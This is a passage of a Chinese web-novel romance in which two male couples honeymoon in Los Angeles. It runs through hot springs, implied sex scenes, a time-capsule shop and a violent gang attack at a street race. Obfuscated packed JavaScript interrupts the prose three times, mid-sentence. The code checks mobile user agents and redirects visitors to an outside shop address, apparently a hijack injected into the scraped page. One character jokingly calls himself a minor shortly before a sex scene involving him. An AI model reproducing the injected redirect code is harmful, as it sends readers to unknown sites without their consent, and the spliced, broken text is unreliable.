十四个小时的飞行,落地时洛杉矶正是傍晚。夕阳把整个城市染成橘红色,棕榈树的剪影映在天边,像明信片上的风景。 取完行李,租的车已经在等他们了。陆知岩租了辆宽敞的SUV,后备箱刚好塞下四个行李箱。 鹿炽趴在车窗边,看着窗外飞逝的异国街景,眼睛里都是新奇:“我第一次来美国。” “喜欢吗?”陆沉远问。 “喜欢。”鹿炽点头,“这里的天好蓝。” “以后我们可以常来。” 鹿炽笑了:“好。” 车子驶出市区,沿着海岸线一路向北。大约一个小时后,他们抵达了此行的目的地——一家藏在山里的日式温泉旅馆。 旅馆不大,只有七个房间,每个都是独栋的和风小院。陆知岩订的是最大的那间——名叫“竹音”,带独立庭院和两个露天风吕。 推开木门的瞬间,鹿炽轻轻“哇”了一声。 庭院里铺着青石板,四周种满了竹子。两个温泉池一左一右嵌在石板间,冒着袅袅热气。池边挂着竹帘,可以放下保证隐私。 “两个池子?”鹿之言看了眼,“正好分开泡。” 陆知岩立刻反驳:“为什么要分开?” “男女分浴。” “我们又没女的。” “那也得分。”鹿之言面无表情,“各泡各的。” 陆知岩委屈了,但不敢反驳,只能小声嘀咕:“都来蜜月了还分床睡……” 鹿之言当没听见。 鹿炽在旁边看着,忍不住笑。他忽然觉得,哥哥其实也很幸福——有个人这么死心塌地爱着他,被他怼也不生气,只会委屈巴巴地认栽。 四人各自回房换衣服。旅馆准备了浴衣和木屐,鹿炽换好出来时,陆沉远已经在门口等他了。 他穿着深蓝色的浴衣,腰带系得松松垮垮,露出锁骨。头发还有点湿,发尾垂在颈侧。 鹿炽看得心跳漏了一拍。 “走吧。”陆沉远很自然地牵起他的手,“去泡温泉。” 庭院里暮色四合,竹帘半卷,能看见远处山峦的剪影。两池温泉一东一西,相距不过五六米,中间隔着几丛竹子。 鹿之言已经泡在东边的池子里了,闭着眼睛靠在池边,热气氤氲中脸色难得放松。陆知岩坐在池边,脚泡在水里,正努力说服他。 “之言,一起泡嘛。” “这就是一起泡。” “我说的是同一个池子。” “不。” “就一会儿?” “不。” “我保证规规矩矩。” 鹿之言睁开眼,瞥了他一眼:“你上次也是这么保证的。” 陆知岩噎住了。 西边的池子边,鹿炽看着这一幕,小声问陆沉远:“知岩哥为什么非要跟哥一起泡?” 陆沉远想了想,说:“因为他想干坏事。” “什么坏事?” “就是……”陆沉远斟酌措辞,“成年人那种。” 鹿炽愣了两秒,然后脸“腾”地红了。 “你、你……”他指指东边,又指指陆沉远,“你该不会也……” 陆沉远看着他,没说话,但眼神已经说明了一切。 鹿炽心跳如擂鼓。他低头钻进温泉里,把脸埋进水面,只露出一双眼睛。 水很热,热得他皮肤发烫。但他分不清这是温泉的温度,还是别的什么。 陆沉远也下水了,在他对面坐下。两人隔着氤氲的水雾对视,谁都没说话。 东边的池子,陆知岩还在进行他的“劝说大业”。 “之言,”他蹲在池边,声音放得很软,“四年了,你就不想我吗?” 鹿之言闭着眼睛:“不想。” “真的?” “真的。” “那你为什么耳朵红了?” 鹿之言睁开眼,摸了下耳朵:“热的。” “不是热的。”陆知岩笑了,手指轻轻碰了碰他的耳垂,“是你一撒谎就这样。” 鹿之言别过脸:“你烦不烦。” “烦。”陆知岩说,“烦你也喜欢。” 他说着,终于不再忍耐,抬腿跨进池子里。水花溅起来,落在鹿之言脸上。 “陆知岩!” “嗯,在呢。”陆知岩在他身边坐下,手臂很自然地搭上池沿,把鹿之言圈进怀里,“这不就一起泡了吗。” 鹿之言想挣开,但池子里滑,他一动反而往陆知岩那边滑了滑。 陆知岩顺势搂住他的腰,把他带到自己腿上。 “真乖。”他低头在鹿之言耳边说,“投怀送抱。” “你闭嘴!” “不闭。”陆知岩笑,“四年没跟你好好说话了,我得补回来。” “这是说话吗?这是骚话。” “那也是话。” 鹿之言拿他没办法,只能任由他抱着。池水很热,陆知岩的体温更高。他能感觉到背后那人的心跳,一下一下,沉稳有力。 “之言,”陆知岩忽然说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271912|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你知不知道,我等你等了多久?” 鹿之言没说话。 “四年。”陆知岩下巴抵在他肩上,“一千四百六十天。每天醒来第一件事就是想你,然后告诉自己,不能找,不能打扰,你不想见我。” 他顿了顿:“我以为你不要我了。” 鹿之言心脏一疼。他想说“我没有”,想说“我也很想你”,想说“对不起”。 但他只是把手覆上陆知岩搭在他腰间的手,轻轻握了一下。 陆知岩呼吸重了几分。他低头,吻上鹿之言的后颈。 “知岩……” “别拒绝。”陆知岩声音哑了,“之言,就今晚,别拒绝我。” 鹿之言没再说话。 池水轻轻晃动。竹帘半卷,月光从缝隙漏进来,落在交叠的人影上。 西边的池子里,鹿炽整个人都快缩进水里了。 他听不见东边的动静,但他能猜到在发生什么。成年人的世界……他也不是完全不懂。 “鹿炽。”陆沉远叫他。 “嗯?”鹿炽闷闷地应了一声,脸还埋在水里。 “过来点。” 鹿炽犹豫了一下,往他那边挪了挪。 “再过来点。” 又挪了挪。 陆沉远伸手,把他从水里捞起来,拉到身边。 “躲什么?”他低声问。 “我没躲……”鹿炽小声说,“就是……有点紧张。” “怕?” 鹿炽摇头,又点头。 陆沉远没再问。他只是把鹿炽搂进怀里,下巴抵在他发顶。 两人就这样安静地抱着。月光静静洒下来,温泉冒着热气,竹叶沙沙作响。 “陆沉远。”鹿炽忽然开口。 “嗯?” “我好像……”他顿了顿,“没那么怕了。” 陆沉远低头看他。 “以前我总觉得,身体脏了就是脏了,永远洗不干净。”鹿炽轻声说,“可是后来我想,那些伤害我的人,他们才脏。而你是干净的。” 他抬起头,看着陆沉远的眼睛:“能被你这样抱着的我,也是干净的。” 陆沉远喉咙发紧。他低头,在鹿炽额头上落下一个很轻很轻的吻。 “你是干净的。”他说,“比谁都干净。” 鹿炽笑了。他主动靠进陆沉远怀里,不再紧张,不再瑟缩。 竹帘外,月色如水。 东边的池子渐渐安静下来。陆知岩抱着鹿之言,两人依偎在温泉里,谁也没说话。 过了很久,鹿之言忽然开口:“陆知岩。” “嗯?” “这四年……”他顿了顿,“我也很想你。” 陆知岩搂紧他,把脸埋进他肩窝。 “我知道。”他声音有点哑,“现在你在我身边了。” “以后也会在。” “真的?” “真的。”鹿之言说,“骗你是小狗。” 陆知岩笑了:“那你是小狗。” “……你才是。” “好好,我是。”陆知岩抬头,看着他,“之言,这辈子我都赖着你了。” 鹿之言没说话,只是把头靠在他肩上。 月光温柔地笼罩着两个池子。 东边的人依偎着,西边的人拥抱着。 都是失而复得,都是苦尽甘来。 夜深了,温泉的水还暖着。 22. 蜜月(二) 从温泉池出来的时候,鹿炽整个人都是软的。 不是累,是热。温泉泡太久了,浑身都像被蒸过一遍,皮肤泛着淡淡的粉色。他裹着浴袍坐在池边,头发还滴着水,一滴一滴落在青石板上。 陆沉远拿了条毛巾,蹲在他面前,帮他擦头发。 “还行吗?”他问。 “嗯。”鹿炽声音闷闷的,“就是有点晕。” “泡太久了。”陆沉远把毛巾盖在他头上,轻轻揉着,“歇会儿再回房间。” 鹿炽没说话,乖乖让他揉。他透过毛巾的缝隙看见东边的池子——陆知岩正把鹿之言从水里捞起来,动作霸道又小心。鹿之言看起来比他还软,站都站不稳,靠在陆知岩身上喘气。 鹿炽默默移开视线。 有些画面,未成年人还是少看。 回房间的路不长,但陆沉远走得很慢。鹿炽跟在他身后,亦步亦趋。木屐踩在青石板上,发出清脆的哒哒声。 推开房间的门,暖黄的灯光亮起。日式风格的卧室铺着榻榻米,被褥已经铺好了,两床并排放在一起。 鹿炽站在门口,突然有点紧张。 “睡吧。”陆沉远说,“明天还要早起。” “嗯。”鹿炽应了一声,钻进被窝里,背对着陆沉远。 身后传来窸窣声,是陆沉远躺下的动静。然后被子轻轻掀开一角,温热的身体贴上来。 “转过来。”陆沉远在他耳边说。 鹿炽心跳漏了一拍。他慢慢转过来,对上陆沉远的眼睛。 月光从窗棂漏进来,把那双眼睛映得很亮。 “鹿炽。”陆沉远叫他。 “嗯……” “我想亲你。” 不是疑问句,是陈述句。但他在等答案。 鹿炽看着他,慢慢点头。 陆沉远低头,吻上他的唇。 这个吻和以前不一样。不是额头,不是脸颊,是真正意义上的、成年人的吻。 鹿炽闭上眼睛,手不自觉地抓住陆沉远的衣襟。他感觉到陆沉远的舌尖轻轻撬开他的齿关,温柔但不容拒绝。 他笨拙地回应着,学陆沉远的样子。心跳快得像要从胸腔蹦出来。 “可以吗?”陆沉远松开他的唇,额头抵着他的额头,呼吸很重。 鹿炽知道他在问什么。 他想起那些恐惧,那些伤害,那些曾经让他对□□避之不及的回忆。但现在抱着他的人是陆沉远。是那个会为他打架、会为他流泪、会在他做噩梦时整夜不睡陪着他的陆沉远。 “……可以。”他小声说。 陆沉远没有立刻动。他只是抱着鹿炽,一下下吻他的眉心、眼睑、鼻尖、嘴角。 “疼就告诉我。”他说,“怕也告诉我。” “嗯。” “难受就说停。” “嗯。” “鹿炽,”陆沉远看着他的眼睛,“我会很小心的。” 鹿炽鼻子一酸,轻轻“嗯”了一声。 接下来的事,鹿炽记不太清了。他只记得陆沉远很慢,慢得像在对待什么易碎品。每一个动作之前都会问他“可以吗”,得到肯定的答复才继续。 疼是真的疼。但鹿炽咬着嘴唇,没有喊停。 因为他知道,陆沉远比他更紧张。那双握着他腰的手在发抖,额头上全是汗,呼吸重得像跑了三千米。 “陆沉远……”鹿炽伸手,摸了摸他的脸,“你放松点。” “我怕弄疼你。” “已经疼了。”鹿炽说,“但你停下来我会更疼。” 陆沉远愣了一下,然后低头,把脸埋进他颈窝。 “你什么时候变得这么会说话了?” “跟你学的。”鹿炽小声说。 陆沉远笑了。那个笑容里有释然,有感动,还有鹿炽读不懂的复杂。 “鹿炽,”他在他耳边说,“我爱你。” 鹿炽眼泪掉下来:“我知道。” “……我也爱你。”他补充,“很早就爱了。” 窗外的月光洒进来,落在交叠的人影上。这一夜很长,但两个人都希望更长一些。 隔壁房间的声音,隔着一道纸门隐隐约约传来。 陆知岩根本没给鹿之言说话的机会。 一进门就把人按在门板上亲,亲得鹿之言喘不上气,手指抓着陆知岩的衬衫后背,抓出一道道褶皱。 “等……等一下……”鹿之言偏头躲他的吻,“门还没关……” 陆知岩反手把门推上,动作不停。 四年。 他忍了四年,今天终于可以不用忍了。 “陆知岩你发什么疯……”鹿之言声音发颤。 “嗯。”陆知岩吻他耳垂,“发你的疯。” 鹿之言被他亲得腿软,几乎挂在他身上。陆知岩顺势把他抱起来,走到榻榻米边,轻轻放倒在铺好的被褥上。 月光从窗缝漏进来,照在鹿之言脸上。他眼角泛红,嘴唇被亲得微微红肿,头发散在枕上,整个人像被揉碎的花。 陆知岩看着他,忽然不动了。 “……怎么了?”鹿之言问。 “怕在做梦。”陆知岩声音哑了,“怕一碰你就醒了。” 鹿之言心脏一疼。他伸手,拉住陆知岩的衣领,把他拽下来。 “不是梦。”他在他耳边说,“我在。” 陆知岩低头,吻住他。 这个吻和之前不一样。不是掠夺,是倾诉。他把四年的思念、痛苦、悔恨、渴望,全都融进这个吻里。 鹿之言回应着,手环上他的脖颈。 “之言……”陆知岩吻他的下颌,喉结,锁骨,“你知不知道这四年我怎么过的……” “知道。”鹿之言声音哽咽,“我也是。” “为什么走?” “病了。”鹿之言说,“怕拖累你。” 陆知岩抬头看他:“你觉得我会嫌你?” “……不是嫌。”鹿之言别过脸,“是觉得配不上你。你那么优秀,创业那么成功,身边那么多优秀的人。我呢?一个burnout连自己都照顾不好的废物……” “谁说的?”陆知岩打断他,“谁说你是废物?” 鹿之言没说话。 “鹿之言,你给我听清楚。”陆知岩捧着他的脸,让他看着自己,“你是我16岁就喜欢的人,是我这辈子唯一想要的人。你生病也好,健康也好,在我这里,你永远是最好的。” 鹿之言眼泪掉下来。 “还有,”陆知岩凑近他,“说你配不上我的那些人,让他们来找我,我亲自跟他们算账。” 鹿之言哭着笑了:“你能不能正常点?” “不能。”陆知岩说,“在你面前我就没正常过。” 他低头吻掉鹿之言的眼泪。然后往下,吻他因为消瘦而清晰的锁骨,吻他肋骨下那片薄薄的皮肤,吻他腰侧那颗小痣。 鹿之言抓着床单,呼吸越来越急。 “知岩……” “嗯?” “轻一点……” 陆知岩抬头看他,眼神里有压抑的情欲,也有克制的温柔。 “好。”他说,“但可能做不到。” “……那你问什么?” “礼貌。”陆知岩理直气壮。 鹿之言想骂他,但下一秒就被亲得说不出话了。 这一夜,纸门那边的人听了全程。 鹿炽把脸埋进陆沉远胸口,耳尖红得要滴血。陆沉远搂着他,嘴角压不住笑意。 “他们……一直都这样吗?”鹿炽闷闷地问。 “我哥追我哥的时候就这样。”陆沉远说,“据说当年告白,在人家宿舍楼下喊了半小时‘鹿之言我喜欢你’,全系都知道了。” 鹿炽:“……”不愧是兄弟。 “睡吧。”陆沉远轻轻拍着他的背,“明天还有安排。” “嗯。”鹿炽在他怀里找了个舒服的位置,闭上眼睛。 月光温柔地洒进房间,照着两个依偎的身影。 而隔壁的声音,不知什么时候停了。 第二天早上,鹿炽是被食物的香气叫醒的。 他睁开眼,发现自己正枕在陆沉远的手臂上。那人还没醒,呼吸平稳,睫毛在眼下投出淡淡的阴影。 鹿炽不敢动,怕吵醒他。他就这样安静地看着陆沉远,从眉眼看到鼻梁,从鼻梁看到嘴唇。 好好看。 他心想。我男朋友怎么这么好看。 “看够没?”陆沉远忽然开口,声音带着刚睡醒的低哑。 鹿炽吓了一跳:“你装睡!” “没装。”陆沉远睁开眼,笑着看他,“刚醒。” “那你怎么知道我在看你?” “感觉。”陆沉远把他往怀里带了带,“你盯着我的时候,我眼皮会跳。” 鹿炽不信,但也不追问。他就这样被陆沉远抱着,听着他的心跳,觉得这一刻好得不真实。 “起床。”陆沉远松开他,“我哥订了早餐。” 鹿炽坐起来,发现自己穿着整齐的睡衣。他愣了一下——完全不记得什么时候换的。 “我帮你换的。”陆沉远说,“昨晚你睡着了。” 鹿炽脸一红:“哦……” 洗漱完出来,陆知岩和鹿之言已经在餐桌边坐好了。鹿之言看起来有点疲惫,眼下有淡淡的青黑,但气色很好。陆知岩神清气爽,殷勤地给鹿之言夹菜。 “之言,尝尝这个和果子。” “嗯。” “这个玉子烧也不错。” “知道了。” “还有这个……” “你自己吃。”鹿之言把碗往旁边挪了挪,“别老给我夹。” 陆知岩委屈巴巴地收回筷子。 鹿炽和陆沉远对视一眼,默契地低头吃饭。 早餐后,陆知岩宣布今天的安排:“下午去好莱坞逛逛,晚上有个特别的地方。” “什么地方?”鹿之言问。 “时间胶囊。”陆知岩说,“一家新开的店,可以写信给未来的自己,封存在店里,二十年后回来取。” 鹿炽眼睛亮了:“听起来好有意思。” “是吧。”陆知岩看他一眼,“你哥以前说过想写,一直没机会。” 鹿之言愣了下,小声说:“你记这个干嘛。” “关于你的事,我都记得。”陆知岩说得云淡风轻。 鹿之言没接话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他也写完自己的信,和鹿之言的一起交给店主。老奶奶接过信封,仔细贴上标签,放进2044年的格子。 “2044年3月15日。”她说,“记得回来取哦。” 鹿之言点点头。 走出店门,洛杉矶的夜已经完全降临。街灯亮起来,远处的好莱坞标志亮着白色的光。 “二十年好长啊。”鹿炽小声说。 “会很快的。”陆沉远握着他的手,“一眨眼就过去了。” 鹿炽靠在他肩上:“那时候我们还在不在一起啊?” “你说呢?” “我觉得在。”鹿炽说,“一定在。” 陆沉远没说话,只是把他握得更紧。 鹿之言站在不远处,看着他们的背影。陆知岩走到他身边,很自然地牵起他的手。 “之言。” “嗯?” “二十年后,我们还来。” “好。” “那时候我们都四十八了。” “嗯。” “老了。” 鹿之言转头看他:“怎么,嫌我老?” “不敢。”陆知岩笑了,“老了我也要你。” 鹿之言没说话,但嘴角微微扬起。 夜风吹过来,带着加州特有的干燥和温暖。 四个人站在时间胶囊店门口,各自想着未来的二十年。 很长,也很短。 但他们愿意一起走。 回到住处,鹿炽在房间里翻来覆去睡不着。 “怎么了?”陆沉远问。 “在想那个信。”鹿炽说,“你写了什么?” “不是说了二十年后一起看。” “就透露一点点?”鹿炽凑近他,“一点点就好。” 陆沉远看着他亮晶晶的眼睛,沉默了几秒。 “我写,”他说,“二十年后,希望鹿炽还愿意让我牵他的手。” 鹿炽愣住了。 “就这一句。”陆沉远说,“不能再多了。” 鹿炽把脸埋进枕头里,声音闷闷的:“你这个人……” “怎么了?” “太犯规了。”鹿炽抬起头,眼睛红红的,“哪有你这样写遗……时光胶囊的。” 陆沉远笑了,轻轻揉了揉他的头发。 “睡吧。”他说,“明天还有安排。” “嗯。” 鹿炽闭上眼,但手还紧紧攥着陆沉远的衣角。 他想着那封信,想着二十年后的自己。 那时候他会在哪里呢? 还会不会像现在这样,被陆沉远牵着手? 会的。 他在心里说。 一定会的。 窗外,洛杉矶的夜很安静。 月亮挂在棕榈树上,像一枚时间胶囊,装着所有人没说出口的承诺。 二十年,听起来很远。 但爱一个人的时候,多远都不怕。 23. 不眠夜 鹿炽是被窗外的引擎声吵醒的。 不是普通汽车的声音,是那种低沉的、轰鸣的、一听就马力十足的跑车咆哮。一声接一声,像野兽在夜色里嘶吼。 他睁开眼,发现陆沉远不在身边。枕头上还有余温,人应该刚起来不久。 鹿炽披上外套走出房间。客厅的落地窗前,陆沉远和陆知岩并排站着,正看着窗外。鹿之言也在,端着杯水,眉头微皱。 “怎么了?”鹿炽走过去。 “有人在飙车。”陆沉远侧身让他站到窗边,“这附近有个非法赛车的聚集点。” 鹿炽往外看。夜色里,山脚下的公路亮着一串车灯,隐约能看见几辆跑车并排停在路边,引擎声此起彼伏。 “洛杉矶就这样。”陆知岩说,“晚上总有不要命的。” 他语气很平淡,但鹿炽注意到他的手指在窗框上轻轻敲着——那是他哥兴奋时的习惯动作。 “你想去?”鹿之言放下水杯,看着他。 陆知岩回头,笑了:“瞒不过你。” “不行。”鹿之言说,“太危险。” “我就看看。”陆知岩走过去,搂住他的腰,“不飙。” 鹿之言盯着他看了几秒,没说话。 陆知岩举起手:“我发誓。” 鹿之言叹了口气:“……几点回来?” “十二点前。”陆知岩低头亲他额头,“你早点睡,不用等我。” 鹿之言没应,但也没再反对。 陆沉远在旁边看着,忽然说:“我也想去。” 鹿炽抬头看他。 “驾照带了。”陆沉远说,“去看看,不飙。” 鹿炽犹豫了一下,小声说:“那我也去。” 陆沉远皱眉:“你回房间休息——” “我不累。”鹿炽打断他,“而且你一个人去我不放心。” 陆沉远还想说什么,陆知岩已经拍板:“行了,一起去。反正开了两辆车。” 他说的两辆车,一辆是他在美国买的玛莎拉蒂——暗灰色GranTurismo,低调的骚包。另一辆是租来的保时捷,这几天都是陆沉远在开。 鹿之言没说话,只是上楼拿了件外套披上。 陆知岩看他:“你也去?” “嗯。”鹿之言面无表情,“看着你。” 陆知岩笑了,笑得像捡到宝。 二十分钟后,两辆车一前一后驶入山道。 玛莎拉蒂在前,保时捷在后。车窗降下来,夜风灌进来,带着加州特有的干燥和凉意。 鹿炽趴在窗边,看着路边不断后退的棕榈树。远处能看见城市灯火,近处是蜿蜒的山路,偶尔有改装车呼啸而过。 “怕不怕?”陆沉远问。 “不怕。”鹿炽摇头,“你在。” 陆沉远没说话,但车速慢了一点。 前面的玛莎拉蒂已经停在了观景台旁边。那里聚集了十几辆车,大部分是改装跑车,引擎盖掀着,一群人围在一起抽烟聊天。还有几个穿得很辣的女孩靠在车边,举着手机直播。 陆知岩下车,立刻有几个人认出他。 “陆!你居然在这儿!”一个白人青年走过来,和他击掌,“听说你回洛杉矶了,怎么不联系兄弟们?” “度假。”陆知岩用英文说,“带家属。” 那人看向从副驾下来的鹿之言,吹了声口哨:“这就是你说的那个?” “嗯。”陆知岩揽过鹿之言的肩,“我家那位。” 鹿之言听不懂英文,但看那人的表情就知道不是什么正经话。他瞥了陆知岩一眼,没说什么。 陆沉远也停好车,带着鹿炽走过来。 “你们家组团来的?”那人笑。 “我弟和他男朋友。”陆知岩说,“看看就走。” 鹿炽站在陆沉远身边,好奇地打量四周。他第一次近距离看这种非法赛车现场,空气里都是汽油和橡胶的味道,震耳欲聋的音乐从某辆车的音响里炸出来。 “热闹吧?”陆沉远在他耳边说。 “嗯。”鹿炽点头,“像电影里。” “电影里都是假的。”陆沉远说,“这个是真的。” 话音刚落,一辆黑色道奇从他们身边轰鸣驶过,在公路尽头划出一道弧线,消失在弯道后面。 人群爆发出欢呼声。 “开始了。”陆知岩看了眼手表,“第一组。” 接下来的半小时,他们看了三组赛车。鹿知言全程面无表情,但鹿炽注意到他的手一直攥着陆知岩的衣角。陆沉远则更专注地看着赛道,偶尔和鹿炽讨论哪辆车改装得更好。 鹿炽其实不太懂车,但他喜欢看陆沉远认真说话的样子。 时间慢慢滑向十一点半。陆知岩正准备招呼大家撤退,变故发生了。 公路尽头突然又亮起一串车灯,但不是赛车——是十几辆重型机车,每辆上都坐着两三个人,手里提着棒球棍和铁链。 人群安静了一秒,然后爆发出惊恐的尖叫。 “是LADevils!”有人喊,“快跑!” 陆知岩脸色瞬间变了。他一把拉住鹿之言,对陆沉远喊:“上车!” 陆沉远反应更快,他已经拉着鹿炽往保时捷的方向跑了。 但那些人来得太快。机车轰鸣着冲进观景台,打散了四散奔逃的人群。有人被棒球棍击中倒地,有人尖叫着往山下跑。 陆沉远刚打开驾驶座的门,三个骑机车的人已经围过来了。他们跳下车,手里拎着铁链,脸上带着残忍的笑。 “亚洲人?”其中一个用英文说,“有钱人吧?交钱,或者挨打。” 陆沉远没理他,飞快按下车钥匙上的锁车键——只有驾驶座的门弹开了,其他三门全锁。 “鹿炽,进去!”他把鹿炽推进后座。 “你呢?!”鹿炽抓住他的手。 “我马上来。”陆沉远甩开他的手,“锁门!” 车门关上的瞬间,鹿炽看见陆沉远转身,迎上了挥来的铁链。 “不——!”他拍着车窗,但车门纹丝不动。 透过玻璃,他看见陆沉远侧身躲开第一击,然后一拳砸在那人脸上。另两个人同时扑上来,铁链抽在他背上,发出沉闷的声响。 陆沉远踉跄了一下,但没有倒。 另一边,陆知岩把鹿之言塞进玛莎拉蒂的后座。鹿之言死命抓着车门:“陆知岩你进来!” “听话。”陆知岩掰开他的手,“把门锁好。” “我不!” “之言!”陆知岩吼出来,“别让我分心!” 鹿之言愣住了。他看见陆知岩的眼睛,里面没有恐惧,只有他从未见过的决绝。 门关上了。 锁死的瞬间,鹿之言看见陆知岩从后备箱抽出一根高尔夫球杆——那是他放在车里应急用的。 然后他转身,迎上了涌来的那群人。 鹿之言拼命拍着车窗,一下又一下。玻璃震得他手心发麻,但纹丝不动。他看见陆知岩挥着球杆砸倒一个人,又看见另一根铁链抽在他背上。 他看见陆知岩踉跄,看见他跪倒在地,看见他撑着球杆重新站起来。 他什么都做不了。 隔着这扇该死的玻璃,他只能看着。 鹿炽也在拍窗。他看见陆沉远已经夺了一根铁链,和那三个人缠斗。陆沉远下手很狠,每一击都朝要害去,但对方人太多了——越来越多的人注意到这边,七八个围过来。 一根木棍砸在陆沉远肩头。他闷哼一声,动作慢了一瞬。第二根砸在他小腿上,他单膝跪地。 “陆沉远!”鹿炽嗓子喊破了,眼泪模糊了视线。 他看见陆沉远撑着地面想站起来,又一根木棍砸在他后背。他倒下去了,但没有完全倒——他用胳膊撑着地,护住头和胸口。 他在拖延时间。 他知道鹿炽在车里,他不能让那些人靠近这辆车。 “够了!”突然有人用英文大喊,“警察来了!” 远处真的响起了警笛声。那群人对视一眼,骂骂咧咧地扔下武器,跳上机车四散奔逃。 观景台瞬间安静下来,只剩下一地狼藉和受伤的人。 鹿炽手忙脚乱地找车门开关——但车门被陆沉远从外面锁死了,车钥匙在陆沉远手里! 他疯狂地拍窗,拍得手心通红。 陆沉远趴在离车两三米的地上,一动不动。 “陆沉远!”鹿炽哭喊,“陆沉远你起来……” 他看见陆沉远的手指动了一下,然后艰难地撑起身体。他浑身都是土,脸上有血,但他在往车的方向爬。 一步,两步。 他爬到车门边,颤抖着从裤兜里摸出车钥匙。按了一下。 车门解锁的声音,像天籁。 鹿炽冲出去,跪倒在陆沉远身边。 “陆沉远……陆沉远……”他手忙脚乱地摸他的脸、他的肩膀、他的后背,全是血,“你伤哪儿了?你说话……” “没事。”陆沉远扯出一个笑,嘴角还在渗血,“皮外伤。” “你骗人……”鹿炽哭得上气不接下气,“你流了好多血……” “真的没事。”陆沉远抬手,想擦他的眼泪,但手上全是血,越擦越脏,“别哭……” 他话没说完,手垂了下去。 “陆沉远!”鹿炽尖叫。 另一边,鹿之言终于从车里出来了——陆知岩在倒下前把钥匙扔在了车门边,他挣扎着够到,解锁,冲出去。 陆知岩侧躺在地上,高尔夫球杆还握在手里,身上全是血和泥土。他眼睛半睁着,看见鹿之言,嘴唇动了动。 “之言……” “别说话!”鹿之言跪在他身边,声音抖得不成样子,“我送你去医院……你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271914|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚持住……” “你手……”陆知岩看着他的手——刚才拍窗拍得太用力,指节破了,血顺着指缝往下滴。 “没事。”鹿之言把他这句话还给他,“你才别说话。” 陆知岩笑了,笑得太用力,牵动了伤口,疼得直抽气。 “还笑……”鹿之言眼泪掉在他脸上,“你他妈还笑……” “你骂人了。”陆知岩看着他,“四年没听你骂人了。” 鹿之言想骂他,但喉咙像被堵住了,只能哭着把他往车上扶。 鹿炽也把陆沉远扶起来了。陆沉远还能走,但每走一步都像在硬撑。鹿炽让他靠在自己身上,一步一挪地往副驾驶走。 “我来开。”鹿之言抹了把脸,“你照顾沉远。” 他发动玛莎拉蒂,油门踩到底。车子像离弦的箭冲下山路,后座鹿炽抱着陆沉远,手还在发抖。 “没事的……”他小声说,“你不会有事的……” 陆沉远闭着眼睛,手却准确地握住了他的。 很紧。像怕一松手就再也握不到。 导航显示最近医院的急诊室还有十五分钟。 鹿之言握着方向盘,手背青筋暴起。陆知岩半躺在副驾驶,头靠着座椅,眼睛一直看着他。 “之言。”他轻声说。 “闭嘴。” “我想说……” “闭嘴。” “就说一句。” 鹿之言没说话。 “我爱你。”陆知岩说,“这四年每一天都爱。” 鹿之言狠狠踩下油门。 “我知道。”他声音哑得不成样子,“我也是。” 玛莎拉蒂划破洛杉矶的夜,奔向急诊室那盏白色的灯。 后座,鹿炽抱着陆沉远,眼泪一滴一滴落在他脸上。 “你说过要陪我二十年的。”他哽咽着说,“你刚写完时间胶囊,你不能耍赖。” 陆沉远没睁眼,但嘴角微微扬了一下。 “……不耍赖。” 急诊室的灯亮了整整四个小时。 鹿炽坐在走廊的长椅上,手上还沾着血,已经干成了深褐色。他盯着手术室的门,一动不动。 鹿之言站在窗边,背对着所有人。他看起来很平静,但鹿炽看见他的肩膀在轻轻发抖。 不知道过了多久,门开了。 医生走出来,摘下口罩,说了一长串英文。鹿炽只听懂了几个词——“骨折”“失血”“手术成功”。 “没事了。”陆知言的英文比鹿炽好,他翻译给鹿炽听,“沉远肩胛骨骨裂,失血有点多,但没伤到内脏。他哥也是,断了两根肋骨,需要静养。” 鹿炽腿一软,靠在墙上。 没事了。 三个字,像从地狱爬回人间。 陆沉远被推出来的时候还在睡,脸色苍白,嘴唇干裂。鹿炽握住他的手,发现他的手心也破了,缠着纱布。 “鹿炽……”他睁开眼,声音很轻。 “我在。”鹿炽凑近他,“你说。” “车钥匙……”陆沉远说,“在裤兜里。” 鹿炽愣了一下。 “别再锁了……”陆沉远看着他,“听你拍窗……比挨打还疼……” 鹿炽眼泪又掉下来。 “不锁了。”他握紧陆沉远的手,“以后去哪儿都带着我。” 陆沉远想笑,但牵动了伤口,疼得龇牙。 “……好。” 隔壁病房,陆知岩也醒了。 他睁开眼第一件事是找鹿之言。看见那张憔悴的脸就在床边,他松了口气。 “之言。” “嗯。” “我刚才梦见你走了。” 鹿之言没说话。 “又把我一个人扔下了。”陆知岩看着他,“我追了好久,追不上。” 鹿之言俯身,把脸埋在他肩侧。 “不走了。”他声音闷闷的,“这辈子都不走了。” 陆知岩抬手,轻轻摸他的头发。 “那说好了。” “……嗯。” 窗外,洛杉矶的天已经亮了。 晨光从窗帘缝隙漏进来,照在两间病房里,照着四个劫后余生的人。 鹿炽趴在陆沉远床边睡着了,手还握着他的。陆沉远没睡,只是看着他。 隔壁,陆知岩在鹿之言的注视下慢慢喝完了一整杯水,然后说:“之言。” “嗯。” “等出院了,我们再去写一次时间胶囊吧。” 